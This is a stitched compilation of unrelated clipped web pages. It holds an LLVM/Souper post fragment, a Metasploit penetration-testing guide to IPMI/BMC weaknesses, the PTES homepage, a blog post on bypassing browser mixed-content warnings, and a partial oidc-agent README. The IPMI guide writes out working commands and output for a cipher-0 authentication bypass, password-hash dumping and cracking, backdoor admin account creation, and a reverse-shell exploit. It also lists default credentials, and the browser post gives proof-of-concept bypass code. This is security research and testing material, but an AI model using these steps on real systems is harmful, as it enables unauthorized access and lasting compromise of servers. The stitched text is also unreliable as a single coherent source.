  * Although the reduced C programs can be useful, you should look at Souper output first and the C code second. For one thing, the Boolean that Souper finds is sometimes a bit obscured in the C code. For another, the C-Reduce output is somewhat under-parenthesized -- it will test your knowledge of C's operator precedence rules. Finally C-Reduce has missed some opportunities to fold constants, so for example we see ~1 instead of -2 in the 2nd example from the top.
  * Each missed optimization found by Souper should be seen as a member of a class of missed optimizations. So the goal is obviously not to teach LLVM to recognize the specific cases found be Souper, but rather to teach it to be smart about some entire class of optimizations. My belief is that this generalization step can be somewhat automated, but that is a research problem.
  * Although all of the optimizations that I've looked at are correct, there's always the possibility that some of them are wrong, for example due to a bug in Souper or STP. 

This article presents some very early results. I hope that it is the beginning
of a virtuous circle where Souper and LLVM can both be strengthened over time.
It will be particularly interesting to see what kinds of optimizations are
missing in LLVM code emitted by rustc, GHC, or llgo.

# Metasploit: A Penetration Tester's Guide to IPM... | SecurityStreet
**Created:**| _8/29/2013 2:12:27 PM_  
---|---  
**Updated:**| _8/29/2013 2:12:27 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# **M** etasploit: A Penetration Tester's Guide to IPM..**.**

## Introduction****

Dan Farmer is known for his groundbreaking work  on security tools and
processes**.** Over the last year, Dan has identified some serious security
issues  with the Intelligent Platform Management Interface \(IPMI\) protocol
and the Baseboard Management Controllers \(BMCs\) that speak it**.** This post
goes into detail on how to identify and test for each of the issues that Dan
identified, using a handful of free security tools**.** If you are looking for
a quick overview of the issues discussed in this post, please review the FAQ
**.** Dan has also put together an excellent best practices document  that is
a must-read for anyone working on the remediation side**.**

## BMCs and the IPMI Protocol****

Baseboard Management Controllers \(BMCs\) are a type of embedded computer used
to provide out-of-band monitoring for desktops and servers**.** These products
are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM,
Fujitsu iRMC, IBM IMM, and Supermicro IPMI**.** BMCs are often implemented as
embedded ARM systems, running Linux and connected directly to the southbridge
of the host system's motherboard**.** Network access is obtained either via
'sideband' access to an existing network card or through a dedicated
interface**.** In addition to being built-in to various motherboards, BMCs are
also sold as pluggable modules and PCI cards**.** Nearly all servers and
workstations ship with or support some form of BMC**.** The Intelligent
Platform Management Interface \(IPMI\) is a collection of specifications that
define communication protocols for talking both across a local bus as well as
the network**.** This specification is managed by Intel and currently comes in
two flavors, version 1**.** 5 and version 2.0. The primary goal of Dan
Farmer's research was on the security of the IPMI network protocol that uses
UDP port 623**.** A diagram of the how the BMC interfaces with the system is
shown below \(CC-SA-3**.** 0 \(C\) U. Vezzani\).

<img src='img/Temp2_5319.png' alt='IPMI-Block-Diagram.png' />

## High Value Targets****

BMCs are often under appreciated and overlooked during security audits**.**
Like many embedded devices, they tend to respond slowly to tests and have a
few non-standard network services in addition to web-based management**.** The
difference between a BMC and say, a printer, is what you get access to once it
has been successfully compromised**.** The BMC has direct access to the
motherboard of its host system**.** This provides the ability to monitor,
reboot, and reinstall the host server, with many systems providing interactive
KVM access and support for virtual media**.** In essence, access to the BMC is
effectively physical access to the host system**.** If an attacker can not
only login to the BMC, but gain root access to it as well, they may be able to
directly access the i2c bus and Super I/O chip of the host system**.** Bad
news indeed.

## Network Services****

The network services offered by major brands of BMCs different widely by
vendor, but here are some commonalities**.** Most BMCs expose some form of
web-based management, a command-line interface such as Telnet or Secure Shell,
and the IPMI network protocol on port 623 \(UDP and sometimes TCP\)**.** The
example below shows the output of Nmap -sSV -p1-65535 scan against a
Supermicro BMC in its default configuration**.**

#### Supermicro IPMI \(firmware SMT\_X9\_218****\)

PORT STATE SERVICE VERSION

22/tcp open ssh Dropbear sshd 2012**.** 55 \(protocol 2.0\)

80/tcp open http lighttpd

443/tcp open ssl/http lighttpd

623/tcp open ipmi-rmcp SuperMicro IPMI RMCP

5900/tcp open vnc VNC \(protocol 3**.** 8\)

5985/tcp open wsman?

49152/tcp open upnp Intel UPnP reference SDK 1**.** 3.1 \(Linux 2.6**.**
17.WB\_WPCM450.1.3; UPnP 1**.** 0\)

In addition to the TCP ports listed, this device also responds on UDP ports
623 \(IPMI\) and 1900 \(UPnP SSDP\)**.**

## Network Discovery****

A single-packet probe to the UDP IPMI service on port 623 is is an especially
fast way of discovering BMCs on the network**.** The following examples
demonstrates the use of the Metasploit Framework's _ipmi\_version_ module to
identify local BMCs**.** The reply indicates whether the device supports
version 1**.** 5 or 2.0 and what forms of authentication are supported**.**

$ **msfconsole**

=\[ metasploit v4**.** 7.0-dev \[core:4.7 api:1**.** 0\]

\+ -- --=\[ 1119 exploits - 638 auxiliary - 179 post

\+ -- --=\[ 309 payloads - 30 encoders - 8 nops

msf> **use auxiliary/scanner/ipmi/ipmi\_version**  
msf auxiliary\(ipmi\_version\) > **set RHOSTS 10**.** 0**.** 0.0/24**

msf auxiliary\(ipmi\_version\) > **run**

\[\*\] Sending IPMI requests to 10**.** 0.0**.** 0->10.0.0.255 \(256 hosts\)

\[\*\] 10**.** 0.0.7:623 IPMI-2.0 OEMID:21317 UserAuth\(auth\_msg, auth\_user,
non\_null\_user, null\_user\) PassAuth\(password, md5, md2\) Level\(1**.** 5,
2.0\)

\[\*\] 10.0.0**.** 4:623 IPMI-2.0 OEMID:21317 UserAuth\(auth\_msg, auth\_user,
non\_null\_user, null\_user\) PassAuth\(password, md5, md2\) Level\(1**.** 5,
2.0\)

\[\*\] 10**.** 0.0.135:623 IPMI-2.0 UserAuth\(auth\_user, non\_null\_user\)
PassAuth\(password, md5, md2, null\) Level\(1**.** 5, 2.0\)

\[\*\] 10.0.0**.** 249:623 IPMI-2.0 UserAuth\(auth\_user, non\_null\_user\)
PassAuth\(password, md5, md2, null\) Level\(1**.** 5, 2.0\)

\[\*\] 10**.** 0.0.252:623 IPMI-2.0 UserAuth\(auth\_user, non\_null\_user\)
PassAuth\(password, md5, md2, null\) Level\(1**.** 5, 2.0\)

## Usernames & Passwords****

As most penetration testers know, the easiest way into most network devices is
through default passwords**.** BMCs are no different, and the table below
shows the default username and password combinations for the most popular BMC
brands sold today**.** Note that only HP randomizes the password during the
manufacturing process**.**

**Product Name**| **Default Username**| **Default Password**  
---|---|---  
**HP Integrated Lights Out \(iLO\)**|  Administrator| <factory randomized
8-character string>  
**Dell Remote Access Card \(iDRAC, DRAC\)**|  root| calvin  
**IBM Integrated Management Module \(IMM\)**|  USERID| PASSW0RD \(with a
zero\)  
**Fujitsu Integrated Remote Management Controller**|  admin| admin  
**Supermicro IPMI \(2**.** 0\)**| ADMIN| ADMIN  
**Oracle/Sun Integrated Lights Out Manager \(ILOM\)**|  root| changeme  
**ASUS iKVM BMC**|  admin| admin  
## Vulnerability Exposure****

This section documents the various vulnerabilities identified by Dan Farmer's
research into IPMI and some additional findings that came to light during
further investigation**.**

### IPMI Authentication Bypass via Cipher 0****

Dan Farmer identified a serious failing  of the IPMI 2**.** 0 specification,
namely that cipher type 0, an indicator that the client wants to use clear-
text authentication, actually allows access with any password**.** Cipher 0
issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely
encompassing all IPMI 2**.** 0 implementations. It is easy to identify systems
that have cipher 0 enabled using the _ipmi\_cipher\_zero_ module in the
Metasploit Framework**.**

$ **msfconsole**

=\[ metasploit v4**.** 7.0-dev \[core:4**.** 7 api:1.0\]

\+ -- --=\[ 1119 exploits - 638 auxiliary - 179 post

\+ -- --=\[ 309 payloads - 30 encoders - 8 nops

msf> **use auxiliary/scanner/ipmi/ipmi\_cipher\_zero**

msf auxiliary\(ipmi\_cipher\_zero\) > **set RHOSTS 10**.** 0.0**.** 0/24**

msf auxiliary\(ipmi\_cipher\_zero\) > **run**

\[\*\] Sending IPMI requests to 10**.** 0**.** 0.0->10.0.0**.** 255 \(256
hosts\)

\[+\] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher
zero

\[+\] 10**.** 0.0.132:623 VULNERABLE: Accepted a session open request for
cipher zero

\[+\] 10**.** 0.0.141:623 VULNERABLE: Accepted a session open request for
cipher zero

\[+\] 10**.** 0.0.153:623 VULNERABLE: Accepted a session open request for
cipher zero

The following example demonstrates how to exploit the cipher 0 issue using the
standard "ipmitool" command-line interface**.** This utility is available on
most platforms and be installed on Debian-based Linux distributions by running
"sudo apt-get install ipmitool"**.** Notice how the flag for specifying cipher
0 \(-C 0\) allows a previously disallowed action to execute**.** For this
attack to work a valid username must be identified, which is almost never an
issue**.** Once a backdoor account has been created, any number of attacks on
the BMC and its host become possible**.**

$ **ipmitool -I lanplus -H 10**.** 0.0**.** 99 -U Administrator -P
FluffyWabbit user list**

Error: Unable to establish IPMI v2 / RMCP+ session

Get User Access command failed \(channel 14, user 1\)

$ **ipmitool -I lanplus -C 0 -H 10**.** 0**.** 0.99 -U Administrator -P
FluffyWabbit user list**

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 Administrator true false true ADMINISTRATOR

2 \(Empty User\) true false false NO ACCESS

$ **ipmitool -I lanplus -C 0 -H 10**.** 0.0**.** 99 -U Administrator -P
FluffyWabbit user set name 2 hdm**

$**ipmitool -I lanplus -C 0 -H 10**.** 0**.** 0.99 -U Administrator -P
FluffyWabbit user set password 2 password**

$ **ipmitool -I lanplus -C 0 -H 10**.** 0.0**.** 99 -U Administrator -P
FluffyWabbit user priv 2 4**

$ **ipmitool -I lanplus -C 0 -H 10**.** 0**.** 0.99 -U Administrator -P
FluffyWabbit user enable 2**

$ **ipmitool -I lanplus -C 0 -H 10**.** 0.0**.** 99 -U Administrator -P
FluffyWabbit user list**

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 Administrator true false true ADMINISTRATOR

2 hdm true false true ADMINISTRATOR

$ **ssh hdm@10**.** 0**.** 0.99**

hdm@10.0.0**.** 99's password: **password**

User:hdm logged-in to ILOMXQ3469216\(10**.** 0**.** 0.99\)

iLO 4 Advanced Evaluation 1.13 at Nov 08 2012

Server Name: host is unnamed

Server Power: On

</>hpiLO->

### IPMI 2**.** 0 RAKP Authentication Remote Password Hash Retrieval****

More recently, Dan Farmer identified an even bigger issue  with the IPMI
2**.** 0 specification. In short, the authentication process for IPMI 2**.** 0
mandates that the server send a salted SHA1 or MD5 hash of the requested
user's password to the client, prior to the client authenticating**.** You
heard that right - the BMC will tell you the password hash for any valid user
account you request**.** This password hash can broken using an offline
bruteforce or dictionary attack**.** Since this issue is a key part of the
IPMI specification, there is no easy path to fix the problem, short of
isolating all BMCs into a separate network**.** The _ipmi\_dumphashes_ module
in the Metasploit Framework can make short work of most BMCs**.**

$ **msfconsole**

=\[ metasploit v4**.** 7.0-dev \[core:4.7 api:1.0\]

\+ -- --=\[ 1119 exploits - 638 auxiliary - 179 post

\+ -- --=\[ 309 payloads - 30 encoders - 8 nops

msf> **use auxiliary/scanner/ipmi/ipmi\_dumphashes**

msf auxiliary\(ipmi\_dumphashes\) > **set RHOSTS 10**.** 0.0.0/24**  
msf auxiliary\(ipmi\_dumphashes\) > **set THREADS 256  
**

msf auxiliary\(ipmi\_dumphashes\) > **run**

\[+\] 10**.** 0.0.59
root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5
3ee18e3b2dfa36cc368ef3a4af18e8b

\[+\] 10**.** 0.0.59 Hash for user 'root' matches password 'calvin'

\[+\] 10**.** 0.0.59
:408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee
34904f54f26e64d580c050e

\[+\] 10**.** 0.0.59 Hash for user '' matches password 'admin'

In the example above, the module was able to identify two valid user accounts
\(root and blank\), retrieve the hmac-sha1 password hashes for these accounts,
and automatically crack them using an internal wordlist**.** If a database is
connected, Metasploit will automatically store the hashed and clear-text
version of these credentials for future use**.** If a user's password is not
found in the local dictionary of common passwords, an external password
cracking program can be employed to quickly brute force possible options**.**
The example below demonstrates how to write out John the Ripper  and Hashcat
compatible files**.**

msf auxiliary\(ipmi\_dumphashes\) > **set RHOSTS 10**.** 0.1.0/24**  
msf auxiliary\(ipmi\_dumphashes\) > **set THREADS 256  
**

msf auxiliary\(ipmi\_dumphashes\) > **set OUTPUT\_JOHN\_FILE out.john**

msf auxiliary\(ipmi\_dumphashes\) > **set OUTPUT\_HASHCAT\_FILE out.hashcat**

msf auxiliary\(ipmi\_dumphashes\) > **run**

\[+\] 10**.** 0.1.100
root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c576f6532
356cc342591204f41cc4eab7da6e8a

Thanks to atom, the main developer of Hashcat, version 0**.** 46 or above now
supports cracking RAKP hashes. It is worth noting that atom added support for
RAKP within 2 hours of receiving the feature request**\!** In the example
below, we use hashcat with RAKP mode \(7300\) to brute force all four-
character passwords within a few seconds**.**

./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 **?** a?a?a?a

Initializing hashcat v0**.** 46 by atom with 8 threads and 32mb segment-
size..**.**

Added hashes from file out.hashcat: 1 \(1 salts\)

\[ ..**.** \]

Input.Mode: Mask \(?a?a?a\)

Index....**.** : 0/1 \(segment\), 857375 \(words\), 0 \(bytes\)

Recovered**.** : 0/1 hashes, 0/1 salts

Speed/sec**.** : - plains, - words

Progress..: 857375/857375 \(100**.** 00%\)

Running..**.** : --:--:--:--

Estimated.: --:--:--:--

ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f6532356cc34
2591204f41cc4eab7da6e8a:taco

All hashes have been recovered

Thanks to Dhiru Kholia , John the Ripper's "bleeding-jumbo" branch now
supports cracking RAKP hashes as well**.** Make sure you have _git_ installed
and build John with the following steps**.**

$ **git clone****https://github.com/magnumripper/JohnTheRipper.git**

$ **cd JohnTheRipper**

$ **git checkout bleeding-jumbo**

$ **cd src**

$**make****linux-x86-64**

$ **cd ../run**

$ ****.** /john --fork=8 --incremental:alpha --format=rakp ./out.john**

Loaded 1 password hash \(RAKP \[IPMI 2**.** 0 RAKP \(RMCP+\) HMAC-SHA1 32/64
OpenSSL\]\)

Press 'q' or Ctrl-C to abort, almost any other key for status

taco \(10**.** 0**.** 1.100 root\)

### IPMI Anonymous Authentication****

In addition to the authentication problems above, Dan Farmer noted that many
BMCs ship with "anonymous" access enabled by default**.** This is configured
by setting the username of the first user account to a null string and setting
a null password to match**.** The _ipmi\_dumphashes_ module will identify and
dump the password hashes \(including blank passwords\) for null user
accounts**.** This account can be difficult to use on its own, but we can
leverage ipmitool to reset the password of a named user account and leverage
that account for access to other services**.**

$ **ipmitool -I lanplus -H 10**.** 0.0**.** 97 -U '' -P '' user list**

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 false false true ADMINISTRATOR

2 root false false true ADMINISTRATOR

3 admin true true true ADMINISTRATOR

$ **ipmitool -I lanplus -H 10**.** 0**.** 0.97 -U '' -P '' user set password 2
password**

At this point we can login to the BMC over SSH using the new password for the
root user account**.**

$ **ssh root@10.0**.** 0.97**

root@10.0.0**.** 97's password: **password**

>> SMASH-CLP Console v1**.** 09 <<

->
### Supermicro IPMI UPnP Vulnerability****

Supermicro includes a UPnP SSDP listener running on UDP port 1900 on the IPMI
firmware of many of its recent motherboards**.** On versions prior to
SMT\_X9\_218 this service was running the Intel SDK for UPnP Devices, version
1**.** 3**.** 1\. This version is vulnerable to the issues Rapid7 disclosed
in February of 2013, and an exploit target for this platform is part of the
Metasploit Framework**.** The interesting thing about this attack is that it
yields complete root access to the BMC, something that is otherwise difficult
to obtain**.** Keep in mind than an attacker with administrative access,
either over the network or from a root shell on the host system, can downgrade
the firmware of a Supermicro BMC to a vulnerable version and then exploit
it**.** Once root access is obtained, it is possible to read cleartext
credentials from the file system, install additional software, and integrate
permanent backdoors into the BMC that would survive a full reinstall of the
host's operating system**.**

$ **msfconsole**

=\[ metasploit v4**.** 7.0-dev \[core:4**.** 7 api:1.0\]

\+ -- --=\[ 1119 exploits - 638 auxiliary - 179 post

\+ -- --=\[ 309 payloads - 30 encoders - 8 nops

msf> **use exploit/multi/upnp/libupnp\_ssdp\_overflow**

msf exploit\(libupnp\_ssdp\_overflow\) > **set RHOST 10**.** 0.0**.** 98**

msf exploit\(libupnp\_ssdp\_overflow\) > **set LHOST 10**.** 0**.** 0.55**

msf exploit\(libupnp\_ssdp\_overflow\) > **set PAYLOAD
cmd/unix/reverse\_openssl**

msf exploit\(libupnp\_ssdp\_overflow\) > **exploit**

\[\*\] Started reverse double handler

\[\*\] Exploiting 10**.** 0.0**.** 98 with target 'Supermicro Onboard IPMI
\(X9SCL/X9SCM\) Intel SDK 1**.** 3**.** 1' with 2106 bytes to port 1900...

\[+\] Sending payload of 182 bytes to 10**.** 0.0**.** 98:4259...

\[\*\] Command shell session 1 opened \(10**.** 0.0**.** 55:4444 ->
10.0.0.98:3688\) at 2013-06-24 13:35:24 -0500

\[\*\] Shutting down payload stager listener..**.**

**uname -a**

Linux \(none\) 2**.** 6**.** 17.WB\_WPCM450.1.3 \#1 Wed Nov 14 10:33:10 PST
2012 armv5tejl unknown

### Supermicro IPMI Clear-text Passwords****

The IPMI 2**.** 0 specification mandates that the BMC respond to HMAC-based
authentication methods such as SHA1 and MD5**.** This authentication process
has some serious weaknesses, as demonstrated in previous examples, but also
requires access to the clear-text password in order to calculate the
authentication hash**.** This means that the BMC must store a clear-text
version of all configured user passwords somewhere in non-volatile
storage**.** In the case of Supermicro, this location changes between firmware
versions, but is either /nv/PSBlock or /nv/PSStore**.** The passwords are
scattered between various binary blobs, but easy to pick out as they always
follow the username**.** This is a serious issue for any organization that
uses shared passwords between BMCs or even different types of devices**.**

$ **cat /nv/PSBlock**

admin ADMINpassword^TT rootOtherPassword**\!**

## Exploiting the Host from the BMC****

Once administrative access to the BMC is obtained, there are a number of
methods available that can be used to gain access to the host operating
system**.** The most direct path is to abuse the BMCs KVM functionality and
reboot the host to a root shell \(init=/bin/sh in GRUB\) or specify a rescue
disk as a virtual CD-ROM and boot to that**.** Once raw access to the host's
disk is obtained, it is trivial to introduce a backdoor, copy data from the
hard drive, or generally do anything needing doing as part of the security
assessment**.** The big downside, of course, is that the host has to be
rebooted to use this method**.** Gaining access to the host running is much
trickier and depends on what the host is running**.** If the physical console
of the host is left logged in, it becomes trivial to hijack this using the
built-in KVM functionality**.** The same applies to serial consoles - if the
serial port is connected to an authenticated session, the BMC may allow this
port to be hijacked using the ipmitool interface for serial-over-LAN
\(sol\)**.** One path that still needs more research is abusing access to
shared hardware, such as the i2c bus and the Super I/O chip**.**

<img src='img/Temp2_5316.png' alt='ipmi_bios.png' />

<img src='img/Temp2_5317.png' alt='ipmi_boot.png' />

<img src='img/Temp2_5318.png' alt='ipmi_root.png' />

## Exploiting the BMC from the Host****

In situations where a host with a BMC has been compromised, the local
interface to the BMC can be used to introduce a backdoor user account, and
from there establish a permanent foothold on the server**.** This attack
requires the ipmitool to be installed on the host and driver support to be
enabled for the BMC**.** The example below demonstrates how the local
interface on the host, which does not require authentication, can be used to
inject a new user account into the BMC**.** This method is universal across
Linux, Windows, BSD, and even DOS targets**.**

root@rcon:~\# **ipmitool user list**

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown \(0x00\)

3 root true false false Unknown \(0x00\)

root@rcon:~\# ipmitool **user set name 4 backdoor**

root@rcon:~\# ipmitool **user set password 4 backdoor**

root@rcon:~\# ipmitool **user priv 4 4**

root@rcon:~\# ipmitool **user list**

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown \(0x00\)

3 root true false false Unknown \(0x00\)

4 backdoor true false true ADMINISTRATOR

## Summary****

The issues covered in this post were uncovered in a relatively short amount of
time and have barely scratched the surface of possibilities**.** In addition
to vulnerabilities in the IPMI protocol itself, most BMCs seem to suffer from
issues common across all embedded devices, namely default passwords, outdated
open source software, and, in some cases, backdoor accounts and static
encryption keys**.** The world of BMCs is a mess that is not likely to get
better anytime soon, and we need to be crystal clear about the risk these
devices pose to our networks**.**

****

# Main Page - The Penetration Testing Execution Standard

**Created:**| _3/24/2011 8:53:37 PM_  
---|---  
**Updated:**| _3/24/2011 8:53:42 PM_  
**Author:**| __  
**Tags:**| _pentest_  
  

# Main Page

Welcome to the Penetration Testing Execution Standard homepage. This will be
the ultimate home for the penetration testing execution standard.

For more information on what this standard is, please visit:

  * The Penetration Testing Execution Standard: FAQ

### High Level Organization of the Standard

  * Note: This is a PRE ALPHA RELEASE. We have had TONS of interest from many members of the security community to help out and we wanted to show where we were at. This effort has been going on since November 2010 and has had over 1800 revisions. The links below are a basic view into where we are at today. As you will notice, the map has some branches that are not fully expanded as well as some basic information left out.

**What we are looking for out of this release:**

-Gain help from people who understand the direction of the map and will be willing to document the methods used to carry out the tasks identified in the branches
-Take feedback and comments form the community on improvements
-Identify a timeline for the full standard creation
-Create teams to tackle writing our the formal standard
-Create tools to address the gaps identified during the creation of the Standard
-And most of all, put an end to the poorly defined term Penetration Test\!
  
_Not all of these sections will survive the cuts after this round and there
are many changes to come:_

-Added Content -Weighting system -Grading Structure -Sample contracts -Sample deliverables -PTES Adaptive Strength questionnaire -tons more...
Hope you enjoy... -Nickerson

  
Following are the main sections defined by the standard as the basis for
penetration testing execution:

  * Pre-engagement Interactions
  * Intelligence Gathering
  * Threat Modeling
  * Vulnerability Analysis
  * Exploitation
  * Post Exploitation
  * Reporting

  * page
  *   * discussion
  *   * history

  * Log in

##### navigation

  * Main page
  * FAQ

##### toolbox

  * What links here
  * Related changes
  * Special pages
  * Printable version
  * Permanent link

<img src='img/Temp2_5072.png' width='88' height='31' alt='GNU Free
Documentation License 1.2' />

  

# Bypassing Mixed Content Warnings – Loading Insecure Content in Secure Pages
- Broken Browser

**Created:**| _12/21/2016 9:22:57 AM_  
---|---  
**Updated:**| _12/21/2016 9:22:57 AM_  
**Author:**| __  
**Tags:**| _web-app-sec browser_  
  

  

# Bypassing Mixed Content Warnings – Loading Insecure Content in Secure Pages

  
  

There are no doubts that the web is moving forward to HTTPS \(secure\)
content. Most important names have today their certificates ready and their
websites are in effect, secure. But have you ever wandered: secure to what
extent? It’s clear that content served through HTTPS is protected from man in
the middle \(MITM\) attacks, network sniffing/tampering and more. But, have
you ever thought if the HTTPS protocol is protecting end users from something
else? The answer is a clear YES.

As we know, attackers today deliver their malicious payloads using a wide
range of channels and one of them is malvertising. They buy cheap ad-space to
apparently advertise something, but deep inside those banners we can find
obfuscated malware code. In fact, we’ve seen in the past how the bad guys were
going as far as detecting if the user was a potential victim or if she’s was
an analyst. If the human behind the keyboard was an unsavvy user attackers
delivered the full malicious payload, otherwise they simply passed,
masquerading themselves as innocent advertisers of a product.

## Mixed Content Warning

Attackers have a problem these days because some of their tricks work only in
insecure pages, and browsers by default do not render insecure content from
secure sites. To be concrete, if attackers are forced to load their code via
HTTPS, many of their tricks \(like detecting files in your file-system\) will
fail. Consider this: modern browsers refuse to load insecure content \(HTTP\)
from secure locations \(HTTPS\). This is called sometimes “Mixed Content”.

If we are navigating an HTTPS page, browsers will not load insecure content
\(for example, an HTTP iframe with a banner inside\). Internet Explorer will
warn the user with the option to “Show all content” \(which reloads the main
page and shows the mixed content\).

<img src='img/01-only-secure-content.png' width='500' height='50'
alt='01-only-secure-content' />

Edge also blocks the content but shows no warnings unless the user has
devtools-console in view. On the other hand, if the source of an iframe is
insecure, a confusing error message is rendered instead of the HTTP content.

<img src='img/02-that-didnt-work.png' width='576' height='195' />

## Images are allowed

An interesting exception is the fact that all browsers let _insecure images_
load and render without restrictions. In other words, if attackers are already
sniffing inside a network they will be able to view and replace images on the
fly, but this does not seem to represent a real threat to final users. There’s
a very clear blog-post written years ago by Eric Lawrence \(aka: Internet
Hero\) explaining why the IE team allowed to load insecure images without
warnings. It makes sense: tons of sites were loading their images from
external places using the HTTP protocol or even worse, they had hard-coded in
their sources the HTTP protocol pointing to local images, but the main content
itself \(html/scripts\) was secure. So, they decided to allow image tags to
render with no warnings  _except_ the little padlock at the right of the
address bar, which disappears when insecure content is loaded.

This is how the address bar looks before and after loading insecure images on
IE. Note that the secure protocol of the main address bar does not change at
all. I’ve circled the padlock in red so it’s easier to see.

<img src='img/03-before-after-padlock.png' width='486' height='78'
alt='03-before-after-padlock' />

The same thing happens on Microsoft Edge but the padlock is on the left. If
you want to experiment, try it live right here.

An interesting fact to keep in mind is that both browsers consider pseudo-
protocols \(res: mhtml: file:\) insecure, and so we won’t be able to load them
\(like regular http inside https\).

123456789 | Theseiframeswon'trenderanythingifthemainpageissecure/https<iframe src="http://"><iframe src="res://"><iframe src="file://"><iframe src="mhtml://"><iframe src="mhtml:res://">  
---|---  
## Behavior with Pseudo-Protocols

You might be thinking, what do HTTPS has to do with these strange mhml: and
res: protocols? Well, those strange protocols are used by attackers to load
content from your hard-disk and detect the presence of local files, but if the
main page is secure, they will have a big problem: IE will refuse to render
those protocols and thus, avoid running their tricks\! Think about it for a
moment: secure pages are not only helping us to be protected from MITM
attacks, but as a side effect are preventing attackers to execute many of
their tricks.

Remember: when attackers want to check if the user has a particular file in
her file-system, they tend to use well known techniques that abuse of the
mhtml/res/file protocols. If you’ve never seen this before, check out this
post, but the main point here is simple: **modern browsers do not allow “mixed
content” by default** , and many of those tricks will fail in HTTPS.

## Forcing the Content to be Loaded

Now that we are clear on attacker’s intentions, it’s time to step in their
feet and \(try to\) bypass these warnings. Knowing in advance that there’s an
exception to the rule \(image tags\) that renders content without user
interaction, I tried to load an image as the source of an IFRAME \(instead of
using an IMG\) but had no success. Then a bit of playing with the EMBED and
OBJECT elements \(both can render html\) without real success. Finally, I
tried with a regular IFRAME but **setting its location using a server
redirect** instead of the insecure URL directly. That seemed to work, the
content was finally loaded.

123456 | Mainpageshouldbesecure/httpsTheiframebelowrendersaninsecure\(http\)bing.com<iframe src="https://www.cracking.com.ar/redir/redir.php?URL=http://www.bing.com">  
---|---  
<img src='img/05-load-with-warnings.png' width='576' height='280'
alt='05-load-with-warnings' />

As a researcher this finding seems interesting, but not useful from an
attacker point of view. We’ve been able to load mixed content without user
interaction, but we still have a warning which obviously calls the attention.
The warning shows a wrong message because **insecure content is displayed**
\(bing.com has really been loaded as http\), however, attackers will never use
something that warns the user like that.

The problem happens when the insecure bing.com tries to render yet another
insecure iframe inside. In other words, nested iframes need to be secure even
inside insecure parent iframes. Of course we can again load the content using
a redirection but that’s not helpful in real life because attackers need to
load the IE pseudo-protocols \(mhtml: res: and file:\) and IE does not accept
server redirects to those ones. We need a better alternative.

## Bypassing the Warning Messages

To bypass the warning message, the solution stumbled upon me. I was really
surprised that something so basic made the trick: a document.write in the
insecure iframe was enough. Can it be that simple?

123456789 | Mainpageshouldbesecure/httpsTheiframebelowrendersaninsecure\(http\)pagewhichdoesadocument.write<iframe src="https://www.cracking.com.ar/redir/redir.php?URL=http://unsafe.cracking.com.ar">TheHTMLcodeintheiframeisquitesimple:<script>document.write\(\)</script>  
---|---  
Once we’ve loaded the insecure content and document.written inside, the iframe
is free to load insecure content without the need of redirects. In other
words, at this point attackers can load mhtml/res protocols and do their
tricks without restrictions: IE has no idea that this content is being
rendered and every nested iframe will be loaded without glitches.

<img src='img/06-load-without-warnings.png' width='576' height='325' />

### Check out the PoC LIVE

Edge is vulnerable to the redirection trick, but the document.write one does
not work. Maybe there’s an alternative, but I will stop here, knowing that
attackers have simple ways to achieve their malicious goals.

Have a nice day\!

@magicmac2000

  

# KIT-SCC/oidc-agent

**Created:**| _9/4/2017 9:18:46 AM_  
---|---  
**Updated:**| _9/4/2017 9:18:46 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# oidc-agent

oidc-agent is a program to manage OpenID Connect tokens and make them easily
usable from the command line. It design is strongly oriented at ssh-agent, so
users can handle oidc tokens in a similiar way as they do with ssh keys.

<img src='img/one_does_simply.jpg' width='568' height='335' alt='one does
simply' />

oidc-agent is usually started in the beginning of an X-session or a login
session, and all other windows or programs are started as clients to the oidc-
agent program. Through use of environment variables the agent can be located
and automatically used to handle oidc tokens.

The agent initially does not have any providers loaded. You can load a
provider configuration by using oidc-add. Multiple provider configurations may
be loaded in oidc-agent concurrently. oidc-add is also used to remove a loaded
configuration from oidc-agent.

## Requirements:

  * libcurl: https://curl.haxx.se/libcurl/ debian-package: libcurl4-openssl-dev
  * libsodium: https://download.libsodium.org/doc/ debian-package: libsodium-dev

If you have the required libraries installed you should be able to compile and
install by running

[code]

    make && sudo make install
    
[/code]

## Configuration

The oidc directory will be created by make. If ` ~/.config ` exists it will be
` ~/.config/oidc-agent ` otherwise ` ~/.oidc-agent `

You can configure issuer in the config file issuer.config located in this oidc
directory. Simply put often used issuers in this config file, one issuer per
line. They will be used by oidc-gen as a suggestion.

## Usage

### oidc-agent

You can start the agent by running:

[code]

    oidc-agent
    
[/code]

This will print out shell commands which have to be executed in the shell
where you want to run oidc-add, oidc-gen, and any client.

To start oidc-agent and directly set the needed environment variables you can
use:

[code]

    eval `oidc-agent`
    
[/code]

### oidc-gen

You can use oidc-gen to generate a new oidc provider config. When running `
oidc-gen ` the program will prompt you for the relevant information. If you
want to edit an existing configuration, you can do so by running oidc-gen and
providing the short name for this configuration.

oidc-gen will also add the generated configuration to the agent. So you don't
have to run oidc-add afterwards. However, if you want to load an existing
configuration oidc-add is your friend.

Most likely you do not have already a client registered and don't want to do
it through a web interface. If the provider supports dynamic registration
\(iam does\), you can let the agent register a new client for you. You can run
` oidc-gen -r ` to start this flow. Using iam password grant type is not
supported using dynamic registration. The client is registered and you have to
contact the provider to update the client config manually. After that is done,
you can specify the saved client config file to oidc-gen using ` oidc-gen -f
<filepath> ` and finish the provider configuration. Afterwards the config
should be added to oidc-agent and can be used by oidc-add normally to add and
remove the provider from the agent.

### oidc-add

oidc-add will add an existing configuration to the oidc-agent, making it
useable. You have to provide the short name of the provider configuration via
command line argument.

[code]

    oidc-add <shortname>
    
[/code]

### api & clients

clients can use the provided api to communicate with oidc-agent. An example
client is oidc-token.

The api provides functions for getting a list of currently loaded providers
and access token. They can be easily used. Alternative a client can directly
